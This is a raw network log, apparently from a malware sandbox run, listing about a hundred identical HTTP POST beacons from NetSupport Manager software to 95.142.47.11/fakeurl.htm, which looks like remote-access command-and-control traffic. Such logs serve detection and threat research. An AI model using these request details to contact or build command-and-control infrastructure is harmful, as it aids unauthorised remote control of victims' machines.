Dec 6, 2023 14:53:37.091991901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.192934990 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.292958975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.393965006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.494990110 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.595938921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.695982933 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.795984030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.897222042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:37.996995926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.097990036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.198992014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.298938990 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.400047064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.499965906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.600069046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.700944901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.800909042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:38.901921034 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.002918959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.102916956 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.203921080 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.304945946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.405930996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.505929947 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.606995106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.706942081 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.808309078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:39.907926083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.008944035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.108935118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.209914923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.311100006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.410922050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.510915041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.611910105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.712954044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.813930035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:40.915046930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.014924049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.115926027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.216919899 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.317486048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.417910099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.518924952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.619927883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.719930887 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.820940971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:41.920902014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.020931005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.121952057 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.221914053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.321959019 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.421931982 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.522929907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.623931885 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.724926949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.824933052 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:42.925928116 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.025960922 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.126944065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.226970911 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.330240965 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.430913925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.530910969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.630918980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.731929064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.831913948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:43.932974100 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.033924103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.134908915 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.235964060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.338608027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.437907934 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.537898064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.637902021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.737926960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.838938951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:44.938947916 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:45.039916992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:45.139959097 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:45.240962029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:45.341145039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:45.443553925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:45.906286955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:46.637898922 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:46.737914085 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:46.838056087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:46.939012051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.038898945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.139101028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.239032984 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:47.340131044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
